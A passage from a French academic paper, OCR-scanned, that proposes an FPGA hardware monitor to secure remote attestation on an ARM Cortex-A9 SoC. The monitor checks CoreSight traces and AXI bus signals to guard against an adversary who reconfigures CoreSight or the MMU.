permet d’éviter le re-jeu. Le prover calcule ensuite un test d’intégrité
authentifié sur son environnement et le challenge (2) et retourne au
verifier le résultat (3); cette étape sous-entend un prérequis : le verifier
et le prover partagent un secret permettant I’authentification du résultat.
A partir du résultat, le verifier décide alors si I’état du prover est valide
ou non (4). Nous appelons fonction d’attestation la fonction qui calcule le
test d’intégrité authentifié sur ’environnement du prover et le challenge a
I’aide du secret partagé.

L’attestation a distance est donc un protocole de tolérance aux in-
trusions : elle permet la détection d’intrusion et le recouvrement dans le
sens ou 'on a un non-envoi des données sensibles et potentiellement une
maintenance du prover.

2.2 Modéle de menaces

Afin d’illustrer nos travaux, nous considérons un modele de menaces
fort ou l'adversaire n’a pas d’acces physique au systeme. Il peut donc
prendre le contrdle du prover au travers d’un acces distant, via le réseau
public.
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L’adversaire a, au préalable, réalisé des attaques sur le prover et a
élevé ses privileges. Il lui est donc possible de lire et écrire dans toutes les
mémoires ou le microprocesseur a acces, de re-configurer les périphériques,
d’empoisonner les mémoires cache, etc.

Egalement, 'adversaire possede un clone du prover : il peut donc
reproduire ’environnement du prover sur un systeme ou il a physique-
ment acces. Cela rend possible la connexion d’un analyseur logique et
I’observation des signaux sur le matériel lors d’une exécution de logiciel.

Dans notre cas d’étude, ’adversaire a corrompu ’environnement du
prover de telle sorte que Pattestation & distance par le verifier va détecter
son intrusion. L’objectif de 'adversaire est donc de masquer cette cor-
ruption de maniére a ce que l'attestation a distance réussisse. Pour cela,
I’adversaire doit forger un résultat au test d’intégrité authentifié. Nous
envisageons deux méthodes pour cela :

— soit en altérant 'exécution de la fonction d’attestation, par exemple

en lui faisant attester une copie non-corrompue de ’environnement ;

— soit en obtenant le secret et en effectuant le calcul a la place de la

fonction d’attestation.

Vis-a-vis de notre modele de menaces, pour garantir la sécurité de
I’architecture de vérification de I'intégrité d’environnement d’exécution,
nous devons donc :

1. assurer 'exécution sécurisée de la fonction d’attestation

2. maintenir la confidentialité du secret

2.3 Rappels techniques

Dans cette section, nous apportons des rappels techniques spécifiques
a l’architecture que nous utilisons.

CoreSight est un périphérique des microprocesseurs ARM : une
interface de debug qui permet de réaliser des traces. Une trace est une
collecte non-invasive de données retracant ’activité du microprocesseur
sans le ralentir [3]. Les traces de CoreSight peuvent étre communiquées a
un périphérique matériel extérieur au microprocesseur.

Advanced eXtensible Interface (AXI) est un protocole de communi-
cation synchrone, avec une horloge unique, qui suit le paradigme maitre-
esclaves : un maitre AXI peut donc communiquer avec plusieurs esclaves.
Le protocole AXI fait partie de la spécification des bus de communication
Advanced Microcontroller Bus Architecture (AMBA), le standard ouvert
de ARM [4].
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L’instruction de chargement multiple LoaD Multiple (1dm) est une
instruction ARM qui provoque un ou plusieurs accés mémoire en lec-
ture. Voici un exemple d’appel de cette instruction : 1dm r0!, {ri1, r2}.
L’adresse a laquelle on doit lire est spécifiée dans un registre passé en
premier argument ; le nombre de mots a lire est spécifié par le nombre
de registres listés en deuxieme argument : chaque mot lu est stocké dans
un des registres. Si un point d’exclamation est présent sur le premier
argument, ce qui est facultatif, alors I’adresse de lecture est incrémentée
avec le nombre d’octets lus [5].

Le terme branchement désigne un saut dans ’exécution, c’est le terme
employé par ARM. Un branchement est dit indirect lorsque I'adresse
de destination n’est pas une valeur immédiate. Si CoreSight est confi-
gurée pour fournir des traces d’exécution, I'adresse de destination d’un
branchement indirect est donnée dans la trace [2].

3 Etat de l’art

Dans cette section, nous commengons par poser le contexte scientifique
de Dattestation a distance et la sécurisation des SoC modernes, puis nous
fournissons les détails techniques concernant nos travaux.

3.1 Attestation a distance

Les premiers travaux d’attestation a distance de processeurs complexes
utilisent seulement du logiciel et basent I’authenticité de la réponse sur
un temps d’exécution attendu.

Seshadri et al. définissent les bases de l'attestation a distance en
proposant Pioneer [15] : une solution de test d’intégrité basé sur ’exécution
d’une épreuve optimale en un temps attendu. L’épreuve est pensée de telle
sorte qu’'un adversaire ne peut modifier son environnement d’exécution
ou son résultat en un temps inférieur ou égal au temps attendu. Ce
modele de sécurité est vulnérable & 'augmentation de la puissance de
calcul de 'adversaire. Il est par exemple envisageable d’augmenter la
fréquence d’exécution de la machine (overclocking) pour réduire la durée
du calcul [15].

Kovah et al. évaluent un Trusted Platform Module (TPM) matériel et
proposent un modele d’attestation basé sur la mesure des cycles d’horloge
durant l’exécution du code [11]. Ils montrent que des TPM d’un méme
modele et d'un méme fabriquant n’utilisent pas le méme nombre de cycles
d’horloge pour exécuter le méme code [11]. Une calibration du matériel
est donc nécessaire pour le paramétrage du protocole d’attestation.
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Des travaux plus récents utilisent la cryptographie pour mesurer 1’au-
thenticité de la réponse. Cette méthode implique le maintien d’un secret
et nécessite donc du support matériel pour les controles d’acces.

Eldefrawy et al. proposent SMART [10], une extension matérielle d'un
processeur Texas Instrument MSP430, couplée a un secret et une fonction
d’attestation logicielle. La fonction d’attestation calcule un test d’intégrité
authentifié sur une région mémoire a attester. L’extension matérielle
définit une région mémoire protégée ou un secret est stocké. La sécurité
de P'architecture de vérification de I'intégrité d’environnement d’exécution
dépend dans ce cas de la confidentialité du secret. Lugou et al. [13] ont
tenté de proposer une méthode unifiée de vérification d’architectures de
sécurité co-congues. Ils ont appliqué cette méthode sur SMART et modélisé
leur systeme avec Proverif. Dans ces travaux, les propriétés de sécurité
sont assurées par I'extension matérielle de SMART, capable de redémarrer
le systéme en prévention de la compromission du secret.

De Oliveira Nunes et al. [14] ont formellement défini la sécurité de
I'attestation a distance dans un modele qui dépend de la confidentialité
d’un secret partagé. Ils ont de plus trouvé une faille de sécurité dans
les travaux précédents qui se base sur le masquage des interruptions. Ils
proposent VRASED, un framework d’attestation & distance co-congu et
prouvé. L’implémentation est également réalisée sur un microcontréleur
MSP430, lourdement modifié, a ’aide d’une extension matérielle similaire
a celle de SMART. L’extension matérielle est de type moniteur de sécurité :
le coeur est modifié de facon a accéder a des signaux tels que le pointeur
d’instruction et les lignes d’interruption, qui sont autant d’observables
nécessaires au moniteur.

3.2 Sécurisation des Systems on chip modernes

Les Systems on Chip (SoC) modernes tels que le Xilinx Zyng-7000
proposent des microprocesseurs ARM étroitement intégrés avec un circuit
logique programmable de type Field-Programmable Gate Array (FPGA) [6].
Ces SoC allient les performances d'un ASIC (Application-Specific Integra-
ted Clircuit) avec la flexibilité et le parallélisme d’'un FPGA.

Wahab et al. tirent profit de l'interface de debug CoreSight des mi-
croprocesseurs ARM en la couplant & un FPGA [16]. Ils proposent une
extension matérielle dédiée au Dynamic Information Flow Tracking haute-
performances. La sécurité de cette solution dépend des controles d’acces
matériel et du mode moniteur du TEE TrustZone.

Lee et al. utilisent CoreSight & des fins de sécurité [12]. Ils proposent une
extension matérielle permettant la détection d’attaques Return-Oriented
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Programming. La détection se base sur I'analyse des informations de
branchement et ne nécessite aucune modification du coeur du SoC. Dans
ces travaux, le décodage des traces permet l'obtention de la valeur du
pointeur d’instruction a certains instants de ’exécution d’un programme.
L’état de la configuration de la MMU et de CoreSight est supposé correct.
Dans nos précédents travaux [7], nous avons prouvé la sécurité de
l'attestation a distance de VRASED [14] sur un modéle de microprocesseur
sans modification du cceur. Les propriétés de sécurité ont été garanties par
un moniteur matériel similaire & VRASED mais externe au processeur :
implémenté dans la partie FPGA d’un SoC Xilinx Zyng-7000. Nous
avons utilisé CoreSight pour obtenir les observables nécessaires a notre
moniteur, tels que le pointeur d’instruction ou les signaux d’interruption,
a des instants critiques de ’exécution d’une fonction d’attestation. Nos
précédents travaux considérent des hypotheses simplifiantes, vis-a-vis du
modeéle de menaces, pour aider la preuve. Ils supposent que I'état de
configuration du microprocesseur est correct au début de 'exécution de la
fonction d’attestation. En particulier, I’état des mémoires cache ainsi que
les configurations de la MMU et de CoreSight ne sont pas corrompus par
I’adversaire. Ceci est une faiblesse du modele qui est admise.

3.3 Positionnement

Dans cet article, nous ré-utilisons ’architecture de nos travaux pré-
cédents et nous proposons une extension qui permet de vérifier I’état du
microprocesseur avant ’exécution de la fonction d’attestation. L’objectif
est de décharger les hypotheses simplifiantes de nos travaux précédents [7] :
c’est-a-dire de considérer un adversaire pouvant corrompre les caches, la
configuration de CoreSight et de la MMU. Pour ce faire, nous étendons
la fonction d’attestation ainsi que le moniteur matériel avec un test d’in-
tégrité supplémentaire et permettons ainsi de se prémunir de nouvelles
classes d’attaques.

A la maniére de Kovah et al. [11], le modele de sécurité de notre
test d’intégrité se base sur une implémentation optimale en termes de
cycles d’horloge. Cela permet d’écarter un adversaire capable d’augmenter
sa puissance de calcul. Afin de se protéger des classes d’attaque par
overclocking [15], nous utilisons des domaines d’horloge indépendants
pour le microprocesseur et le moniteur matériel. Comme dans SMART et
VRASED [10, 14], un moniteur matériel, implémenté ici dans le FPGA
du SoC, garantit les propriétés de sécurité et est capable de redémarrer
le systeme en cas de future compromission. La sécurité s’appuie sur un
traitement des signaux fournis par Iinterface de debug CoreSight.
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4 Architecture de vérification de l’intégrité
d’environnement d’exécution sur microprocesseur

Dans cette section, nous résumons nos travaux précédents et détaillons
I’architecture du systéme, vérifiée formellement, qui garantit, selon des
hypotheses simplifiantes, 'intégrité d’environnement d’exécution sur mi-
Croprocesseur.

4.1 Architecture du systéme

Le SoC envisagé est équipé d’un microprocesseur ARM Cortex-A9
mono-coeur étroitement 1ié avec un FPGA Artix-7. Nous implémentons
une extension matérielle, dans la partie FPGA du SoC, qui communique
avec le microprocesseur.

La région mémoire a attester contient un logiciel devant posséder les
propriétés de sécurité suffisantes pour le verifier. Ce logiciel fonctionne
de maniere stand-alone : il est indépendant du reste du systéme. Il est
chargé dans la DDR, dans une plage d’adresses physiques choisie et
immuable. Si un systeme d’exploitation est présent, ce logiciel doit donc
étre indépendant de toute bibliotheque partagée et ’ASLR ne doit pas étre
activée pour son exécution. Le challenge et le résultat du test d’intégrité
sont également placés dans la DDR, dans une plage d’adresses physiques
choisie et immuable. Le schéma représenté sur la figure 2 montre une vue
d’ensemble du systeéme.

Nous procédons a une ségrégation spatiale du contenu sensible. C’est-
a-dire que nous créons trois zones mémoires protégées dans le FPGA :

— deux mémoires de type ROM, accessibles en lecture seule, contenant

respectivement le code de la fonction d’attestation (SW-att) et le
secret (K). L’aspect lecture seule de la ROM sous-entend que le
contenu de ces mémoires est écrit lors de la mise en production et
est immuable.

— une mémoire de type RAM, accessible en lecture et écriture, qui est

utilisée comme pile d’exécution exclusive a la fonction d’attestation.
Ainsi, lorsque la fonction d’attestation s’exécute, les informations
utilisées pour les calculs intermédiaires sont stockés dans une RAM
dans le FPGA.
Ces trois zones mémoires protégées sont des esclaves AXI-Lite. Un esclave
AXI-Lite est une variante d’un esclave AXI ou le burst est interdit, ce qui
signifie que tous les acces mémoire sont explicitement demandés adresse par
adresse sur le bus AXI [4]. Elles sont accessibles par le microprocesseur au
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Fig. 2. Vue d’ensemble du systeme

travers d’un module d’interconnexion AXI. Elles sont donc indépendantes
du controleur DDR principal.

Les zones mémoires protégées sont étendues avec un moniteur matériel.
Ce moniteur matériel est un module qui observe les transaction sur le
bus AXI. Une transaction a lieue lors d’un acces, par le microprocesseur,
vers les zones mémoires protégées. Le moniteur stoppe 'exécution du
microprocesseur, en lui transmettant un signal d’arrét critique (reset), en
cas de (future) compromission. Par exemple, le moniteur matériel transmet
un reset au microprocesseur si celui-ci demande un acces au secret ou a la
pile exclusive, et ce avant que I'esclave AXI-Lite ait répondu.

Le moniteur matériel est également connecté a l'interface de debug
CoreSight pour garantir une exécution correcte de la fonction d’attestation.
Des instructions spécifiques, par exemple des branchements indirects, sont
ajoutés dans la fonction d’attestation pour obtenir la valeur du pointeur
d’instruction & des instants critiques de l’attestation a distance. Egale-
ment, lors d’une exception durant I’exécution de la fonction d’attestation,
CoreSight informe le moniteur matériel d’une modification du flot d’exé-
cution. Lorsque la fonction d’attestation s’exécute, le moniteur matériel
interdit les exceptions et autorise les acces au secret / a la pile exclusive
(ne transmet pas de reset). Un branchement indirect en début de fonction
d’attestation provoque ’autorisation des acces. Un branchement indirect
en fin de fonction d’attestation provoque de nouveau l'interdiction des
acces.
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La fonction d’attestation est stand-alone : elle est indépendant du
reste du systéme. Lors de son exécution, elle effectue une lecture de la
région mémoire a attester et du challenge, dans la DDR, ainsi qu’une
lecture du secret. La fonction d’attestation calcule alors un HMAC sur
la région mémoire a attester et le challenge, avec le secret. Une fois le
calcul terminé, le résultat est placé a I’adresse du challenge, dans la DDR.
La fonction d’attestation procede a un vidage des mémoires cache et des
registres du microprocesseur avant et apres son exécution.

Une configuration de la MMU, réalisée avant ’exécution de la fonction
d’attestation, restreint les acces en écriture. Les écritures ne sont possibles
que dans la pile exclusive et a I'adresse du challenge.

4.2 Vérification formelle et faiblesses admises

Nous avons vérifié formellement cette architecture vis-a-vis d’'un modele
de menaces simplifié [7].

Les capacités de I'adversaire sont modélisées a haut niveau : seules les
valeurs du pointeur d’instruction et de I'adresse de lecture du micropro-
cesseur sont considérées. Ces valeurs ont un fort degré de liberté : il est
possible d’effectuer des branchements et des lectures sans restriction.

Le modeéle du microprocesseur est plus ou moins abstrait. D’un co6té,
comme son architecture est propriétaire, nous n’avons pas d’autre choix
que d’abstraire son comportement. D’un autre coté, nous modélisons ce
méme comportement au niveau matériel, pour une configuration donnée
(de CoreSight et de la MMU), au cycle d’horloge pres.

Des propriétés de sécurité sont vérifiées formellement sur un modele du
moniteur matériel, au niveau registres (RTL). Comme nous avons acces a
ses sources, le modele est donc concret.

L’architecture proposée présente des faiblesses qui ont été admises. Ainsi,
si nous la ré-utilisons sans modification, celle-ci est vulnérable & certaines
attaques.

En effet, sa conception se base sur des hypotheses simplifiantes. Pour
réduire les contraintes, le modeéle émet I’hypothese que I'adversaire n’accede
pas a la configuration de la MMU ou de CoreSight. Cette hypothese n’est
plus réaliste vis-a-vis de notre nouveau modele de menaces. Egalement,
le modele émet ’hypothése qu’il est impossible pour un adversaire de
procéder & une re-programmation partielle du FPGA et ainsi retirer des
fonctionnalités du moniteur.
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D’autres vulnérabilités sont potentiellement aussi présentes vis-a-vis du
caractere propriétaire de I'architecture du microprocesseur. Ceci est une
supposition : comme nous n’avons pas acces a l’architecture du micro-
processeur (nous n’aurons probablement jamais acces), le modele se base
sur des hypotheses. Ces hypotheses sont des hypotheses réalistes, par
exemple : "le microprocesseur fonctionne comme décrit dans sa documen-
tation". Néanmoins, ce sont des hypotheses car nous ne pouvons pas les
vérifier formellement.

Lors des vérifications, les hypotheses ont été validées par une étude
empirique : elles ont été auditées sur le matériel concret. Par exemple : si
une hypothese est que CoreSight émet une trace lors d’un branchement
indirect, alors un branchement indirect a été exécuté sur le microprocesseur
et un analyseur logique a permis d’observer la trace.

Si les hypotheéses qui ont été émises sont vérifiées, alors la vérification
formelle apporte la preuve de la sécurité de I’architecture de vérification
de l'intégrité d’environnement d’exécution. Si les hypotheéses ne sont pas
vérifiées, alors la vérification formelle n’est pas suffisante pour garantir la
sécurité : elle ne garantit que les propriétés vérifiées sur le moniteur.

5 Attestation de configuration

Dans cette section, nous proposons une extension qui permet de dé-
charger le moniteur matériel (ré-utilisé) des hypotheéses simplifiantes.
Concretement, nous souhaitons attester de la configuration correcte de
I'environnement d’exécution de la fonction d’attestation (CoreSight, MMU)
pour se protéger de nouvelles classes d’attaques.

5.1 Nouvelles classes d’attaques

Une nouvelle classe d’attaques dont nous voulons nous protéger est
celle des attaques par re-configuration de CoreSight.

En effet, la configuration de CoreSight permet de définir les
plages d’adresses ou les traces sont transmises au moniteur. Une re-
programmation par un adversaire peut permettre, par exemple, la défi-
nition de plages d’adresses ou les dernieres instructions de la fonction
d’attestation ne sont pas contenues. Ainsi, une exécution de la fonction
d’attestation indique, au début, au moniteur matériel une entrée du poin-
teur d’instruction, les accés au secret sont donc autorisés. Et, a la fin de
I’exécution de la fonction d’attestation, le moniteur ne regoit pas la trace
de fin et les acces au secret ne sont pas de nouveau interdits. Un adversaire
peut alors accéder au secret (ou a la pile exclusive) par la suite.
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Une autre nouvelle classe d’attaques est celle des attaques par re-
configuration de la MMU.

En effet, les lectures et écritures réalisées par la fonction d’attestation
sont réalisées & des adresses écrites dans son code, soit des adresses
virtuelles. Si un adversaire modifie les traductions d’adresses, il devient
possible d’utiliser un espace mémoire dans la DDR au lieu de la pile
exclusive. Ainsi, une exécution de la fonction d’attestation fournit a
I’adversaire un acces indirect au secret.

Egalement, les controles d’acces sont garantis par le moniteur matériel
en fonction de la valeur du pointeur d’instruction fournie par CoreSight.
Or, les adresses fournies par CoreSight sont des adresses virtuelles. Le
moniteur matériel autorise donc les acceés au secret depuis une plage
d’adresses virtuelles attendue. Si les traductions d’adresses sont modifiées,
la lecture du secret devient alors autorisée dans une autre plage d’adresses.

5.2 Solution proposée

Nous proposons d’étendre le systéme avec un nouveau moniteur maté-
riel, dédié a la configuration de I’environnement d’exécution de la fonction
d’attestation.

Nous émettons I’hypothese que le FPGA est correctement programmé au
démarrage du SoC' (exécution correcte de I'environnement de démarrage)
et que l'adversaire ne peut accéder a sa configuration a-posteriori. Cette
hypothese est réaliste car un module matériel peut étre ajouté au systeme et
la vérifier. En effet, un acces en lecture ou en écriture par le microprocesseur
au contenu du FPGA se traduit par une modification des signaux d’acces
au module ICAP [6], situé dans le FPGA. Il est donc possible de procéder
a un reset du microprocesseur en cas de lecture ou écriture du contenu du
FPGA par 'adversaire.

Le nouveau moniteur, que nous proposons d’ajouter, observe les traces
d’exécution fournies par CoreSight et les signaux sur le bus AXI. Il décide
si un algorithme de confiance s’exécute. Un algorithme de confiance est un
algorithme qui configure les périphériques tel qu’attendu lors de ’exécution
de la fonction d’attestation : c’est-a-dire qu’il configure CoreSight et la
MMU.

L’architecture de notre extension est représentée sur la figure 3.
Le nouveau moniteur est lui aussi implémenté dans la partie FPGA
du SoC, en parallele du moniteur des travaux précédents.
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Fig. 3. Extension avec un nouveau moniteur matériel

Une premiére ROM est ajoutée, sous forme d’un esclave AXI-Lite, et
contient le code de l'algorithme de confiance. Celle-ci est accessible par le
microprocesseur via le bus AXI.

Une seconde ROM est aussi ajoutée. Elle contient les valeurs des
signaux d’acces sur le bus AXI et des traces CoreSight telles qu’elles
sont attendues par le nouveau moniteur. Cette seconde ROM n’est pas
accessible par le microprocesseur. Elle est seulement accessible par le
moniteur qui décide, en fonction des signaux observés, si nous sommes
bien en train d’exécuter ’algorithme de confiance ou non.

A chaque front d’horloge, le moniteur compare les traces d’exécutions et
les signaux d’acces avec les valeurs attendues (disponibles dans la seconde
ROM). L’acces a la fonction d’attestation, au secret et a la pile exclusive
sera toujours interdit (reset) avant la fin de cette exécution. C’est-a-dire
que, si, front d’horloge apres front d’horloge, les signaux observés par
le moniteur ne correspondent pas a ceux attendus, il devient impossible
d’exécuter la fonction d’attestation.

Notons que nous travaillons sur un microprocesseur qui ne possede
qu’un seul cceur. Egalement, le module d’interconnexion AXI esclave (dans
le FPGA) ne posséde pas de connexion DMA avec un autre périphérique.
Tous les signaux observés sur le bus AXI sont donc la conséquence d’une
lecture par ce seul cceur et toutes les traces fournies par CoreSight décrivent
une exécution réalisée par ce méme coeur.
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L’objectif est le suivant : le microprocesseur doit exécuter 'algorithme
de confiance (ce qui configure CoreSight et la MMU) pour que les si-
gnaux observés par le moniteur correspondent a ceux attendus. Notre
problématique est donc que le moniteur doit parvenir a dis-
tinguer, seulement en observant ces signaux, une exécution de
P’algorithme de confiance d’une simple lecture de la ROM.

Pour répondre a cette problématique, nous concevons l'algorithme
de confiance de maniere a ce que, a chaque transaction sur le bus AXI,
CoreSight émette une trace. Un branchement indirect est donc ajouté,
régulierement, dans 'algorithme de confiance. Ceci permet d’avoir un suivi
de I’exécution des instructions accédées sur le bus AXI.

Egalement, ’algorithme de confiance est optimisé. Il n’est pas optimisé
en terme de nombre d’instructions, comme le ferait un compilateur, mais
optimisé de sorte que la trace émise par CoreSight soit dans une fenétre
de temps tres courte apres le transfert sur le bus AXI :

— si la trace apparait rapidement apres un acces sur le bus AXI, alors
nous pouvons déduire que le moniteur observe bien un fetch des
instructions par le microprocesseur;

— si la trace apparait hors de la fenétre de temps, apres un acces sur le
bus AXI, alors nous pouvons en déduire qu’un adversaire tente de
simuler une exécution en effectuant des lectures de I’algorithme de
confiance et des branchements indirects depuis un autre programme.

5.3 Caractérisation

Dans notre architecture, ’horloge du FPGA est fournie par un quartz
externe : elle est décorrélée du domaine d’horloge du microprocesseur et sa
fréquence est divisée jusqu’a atteindre la fréquence nominale de 100M H z.
Le périphérique d’interconnexion AXI maitre (du microprocesseur) et
I'interface de debug CoreSight sont synchronisés sur cette horloge externe.
Leur fonctionnement est donc ralenti [6].

Pour optimiser notre algorithme de confiance, nous nous basons sur le
comportement du microprocesseur lors d’une exécution depuis un esclave
AXI. Comme ce comportement est dépendant de notre architecture maté-
rielle et n’est pas décrit dans une documentation, nous procédons a une
caractérisation du matériel a ’aide d’un analyseur logique. L’analyseur
logique est lui-aussi synchronisé sur ’horloge externe.

La premiere étape de notre caractérisation consiste a réaliser, depuis le
microprocesseur, une lecture et un fetch (pour les comparer) depuis un
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esclave AXI-Lite et observer les signaux sur le bus AXI pour prédire le
comportement attendu.

Lors d’une lecture sur le bus AXI, le module d’interconnexion AXI
esclave (dans le FPGA) place 'adresse relative sur un vecteur nommé
ARADDR et leve le signal ARREADY [4]. Sur notre matériel, une lecture
de la donnée par le microprocesseur s’effectue par paquets de 8 mots de
32 bits, ou chaque lecture nécessite 4 périodes d’horloge ; un délai de 15
périodes d’horloge est présent entre les lectures de deux paquets [8]. Le
chronogramme représenté sur la figure 4 montre le résultat d’une lecture
entre les adresses 0x00 et 0x44 de 'esclave AXI-Lite.

CLK i,
ARADDR [1 3 ;0] {03x00)0x04)0x08)ox0C 0 10fox 12018 0x1C Jox20)0x22)0x28)0x2C 0x30J0x32)0x38) 0x3C Yox40Jox4d)
ARREADY . nnnnann o nnnnann AR

Fig. 4. Lecture depuis 'esclave AXI-Lite

Lorsque le contenu de 'esclave AXI-Lite est exécutable, un fetch par
le microprocesseur provoque exactement les méme signaux sur bus AXI
que ceux représentés sur la figure 4. Observer ces signaux seuls n’est donc
pas suffisant pour distinguer une lecture d’un fetch des instructions.

La seconde étape de notre caractérisation consiste donc a ajouter des
branchements indirects et définir 'architecture a adopter pour 'algorithme
de confiance.

Comme le microprocesseur proceéde & une lecture (ou un fetch) par
paquets de 8 mots, nous pouvons ajouter un branchement indirect tous
les 8 mots pour que CoreSight émette une trace a chaque transaction sur
le bus AXI. Ainsi, lors d’une exécution de code linéaire, nous pouvons
prévoir le délai entre un acces sur le bus AXI et ’émission de paquets par
CoreSight.

Notre algorithme de confiance est développé en assembleur ARM,
ce qui signifie que chaque instruction occupe un mot de 32 bits. La
derniére instruction de chaque paquet de 8 mots est donc un branchement
indirect vers le premier mot du paquet suivant, soit vers l'instruction
suivante. Une instruction supplémentaire est nécessaire pour calculer
sa destination. En conséquence, pour chaque paquet de 8 instructions,
I’algorithme de confiance contient 6 instructions utiles et 2 instructions
dédiées au branchement indirect.

Le code représenté sur le listing 1 schématise son architecture. Ici
pc représente le registre contenant le pointeur d’instruction (Program



© 00 O U W~

J. Certes, B. Morgan 137

Counter) et r3 un registre général. Dans notre implémentation de I’algo-
rithme de confiance, les nop sont remplacées par des instructions utiles a
la configuration de la MMU et de CoreSight.

nop

nop

nop

nop

nop

nop

add r3, pc, #0 // pc = pc + 4; r3 = pc + 4 + 0;
mov pc, r3 // branchement indirect

// <- destination

nop

nop

nop

nop

nop

nop

add r3, pc, #0 // pc = pc + 4; r3 = pc + 4 + 0;
mov pc, r3 // branchement indirect

Listing 1. Branchement indirect régulier

La troisieme étape de notre caractérisation consiste a réaliser, depuis le
microprocesseur, une exécution de notre algorithme de confiance depuis
un esclave AXI-Lite et observer les traces émises par CoreSight en fonction
des signaux sur le bus AXI.

CoreSight émet un paquet, lorsque sa FIFO contient suffisamment de
données. Lors de ’émission d’un paquet, CoreSight baisse le signal nommé
TRACE_CTL et place la donnée sur le vecteur TRACE_DATA [1].
L’instant & partir duquel le paquet est émis apres le début du fetch dépend
de I'état de la FIFO de CoreSight avant ’exécution du code et de la
valeur de l'adresse virtuelle a laquelle 'esclave AXI-Lite est accessible.
Pour obtenir une trace dans une fenétre de temps la plus courte apres
un transfert sur le bus AXI, nous devons au préalable vider la FIFO de
CoreSight et choisir une adresse virtuelle faible pour l'esclave AXI-Lite [8].

Le chronogramme représenté sur la figure 5 montre le résultat le
plus optimisé (avec fenétre de temps la plus courte) d’un fetch et de
I’exécution de code entre les adresses 0x00200000 et 0x0020003C, ou
0x00200000 représente ’adresse virtuelle permettant d’accéder a I’adresse
0x00 dans ’esclave AXI-Lite. Les instants indiqués par les marqueurs bleus
représentent respectivement l’instant du premier acces sur le bus AXI et
I'instant du premier décodage de paquet transmis par CoreSight. Le signal
DECODED_ADDR représente la valeur de 'adresse décompressée et
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décodée par le moniteur depuis le paquet CoreSight. Sa valeur n’est
disponible qu’apres une transmission compléete et donne, indirectement, la
valeur du pointeur d’instruction. La premiere valeur obtenue pour ’adresse
décodée est 0x00200000, soit lors de I’entrée du pointeur d’instruction
dans la plage d’adresses a tracer, et la seconde valeur est 0x00200020, soit
la destination du premier branchement indirect.

CLK
ARADDR[13;0] (0x00)0x04)0x08)0x0C)0x 100x 14Y0x 18) 0x1C [0x20)0x24)0x28)0x2C)0x30)0x34)0x3e) 0x3C Yox20Jox24)
ARREADY I nNnin n_r
TRACE_CTL s
TRACE_DATA[7:0] 0x01 00000000000C] 20000 0x01 )
DECODED_ADDR 0x00000000 | 0%00200020 }

Fig. 5. Fetch et exécution d’instructions depuis I’esclave AXI-Lite

Les informations qui nous intéressent sont donc :
— le délai (nombre de fronts d’horloge) entre le premier acces sur le
bus AXI et I'instant du décodage de paquet transmis par CoreSight ;
— la valeur de I'adresse décodée dans le paquet.
Si nous observons les mémes délais et les mémes adresses, nous pouvons
décider que le microprocesseur effectue un bien un fetch et pas une simple
lecture.

Les signaux représentés sur le chronogramme de la figure 5 peuvent étre
modélisés formellement. Cette modélisation fournit donc une hypothese
sur le comportement du microprocesseur. Nous pouvons donc effectuer une
vérification formelle de la sécurité de la configuration de I’environnement
d’exécution de la fonction d’attestation. Une propriété de sécurité impor-
tante, vérifiée par le moniteur, est qu’un acces a la fonction d’attestation
(et indirectement au secret et a la pile exclusive) ne sera jamais autorisé
si le moniteur n’observe pas des signaux identiques.

Néanmoins, nous faisons désormais face & une nouvelle problématique.
Notre problématique initiale était de savoir comment distinguer, en ob-
servant les signaux, une exécution de l’algorithme de confiance d’une
simple lecture. A priori, nous venons de montrer que cette distinction était
possible. Cependant, pour garantir la sécurité de la configuration
de I’environnement d’exécution de la fonction d’attestation, il
nous faut désormais déterminer si un adversaire peut reproduire
ces signaux sans exécuter ’algorithme de confiance.
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S’il est possible de reproduire ces signaux sans exécuter notre algo-
rithme de confiance, nous devons malheureusement revoir notre stratégie.
En effet, nous ne pourrons pas distinguer une exécution légitime d’une at-
taque : les propriétés de sécurité vérifiées sur le moniteur ne sont donc pas
suffisantes pour garantir la sécurité de la configuration de 'environnement
d’exécution de la fonction d’attestation.

En contrepartie, s’il n’est pas possible de reproduire ces signaux sans
exécuter notre algorithme de confiance, observer des signaux identiques
implique que nous sommes bien en train de 'exécuter. Alors, les propriétés
de sécurité vérifiées sur le moniteur sont suffisantes pour garantir que notre
architecture n’accordera jamais ’acces a la fonction d’attestation sans
exécuter notre algorithme de confiance (et avoir configuré I’environnement
correctement). Ainsi, nous garantissons ’exécution sécurisée de la fonction
d’attestation et la confidentialité du secret.

5.4 Contraintes de conception

En admettant que notre implémentation soit sécurisée, notons que nos
choix d’architecture impliquent certaines contraintes.

Une conséquence directe est la réduction des performances du micropro-
cesseur durant ’exécution de ’algorithme de confiance.

Tout d’abord, la synchronisation du périphérique d’interconnexion
AXI maitre sur 'horloge du FPGA ralentit le microprocesseur lors du
fetch. Notons que ce n’est pas le cas pour la synchronisation de Core-
Sight : ’émission de paquets par CoreSight, en revanche, ne ralentit pas
Iexécution [3].

Egalement, la présence de branchements indirects provoque un vidage
du pipeline et un fetch a ’adresse de destination. Comme le microproces-
seur réalise ses fetch de paquet de 8 instructions durant ’exécution des
instructions précédentes, atteindre ’exécution de la derniére instruction
provoque un second fetch du méme paquet [8]. Ainsi, a l'exception du
premier paquet de 8 instructions, chaque paquet est accédé deux fois sur
le bus AXI. Le fetch qui a un effet sur le fil d’exécution du programme est
donc celui du second acces. Le chronogramme représenté sur la figure 6
montre les instants des fetch du branchement indirect et de I'instruction
placée a sa destination. Dans cet exemple, les instructions placées aux
adresses 0x0020001C et 0x0020003C sont des branchements indirects vers
I'instruction suivante.
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CLK
ARADDR][13:0] ‘
ARREADY I nNnin n_r
TRACE_CTL s
TRACE_DATA[7:0] 0x01 J00CI0000000C 0000 0x01 }
DECODED_ADDR 0x00000000 )| 0x00200020 }

Fig. 6. Instants des fetch : branchement indirect et destination

Une seconde contrainte est 1’alignement lors du développement de 1’algo-
rithme de confiance. En effet, si la destination d’un branchement se trouve
dans le méme paquet que l'instruction qui I’a provoqué, alors le vidage du
pipeline provoque une exception de type prefetch abort [8]. L’algorithme
de confiance est donc con¢u de maniere linéaire : c¢’est une suite d’instruc-
tions sans aucun branchement a ’exception des branchements indirects
réguliers.

Une troisieme contrainte est que des prérequis sont nécessaires avant
I’exécution de l'algorithme de confiance. En effet, le moniteur matériel
attend des signaux correspondant & une certaine configuration des périphé-
riques. Ainsi, avant ’exécution de I’algorithme de confiance, les prérequis
suivants doivent étre appliqués.

1. Comme une lecture de la donnée dans I'esclave AXI-Lite doit
étre visible sur le bus AXI, de telles données ne doivent pas étre
présentes en cache. Un vidage des mémoires cache est donc réalisé.

2. Le moniteur matériel attend de CoreSight un paquet indiquant
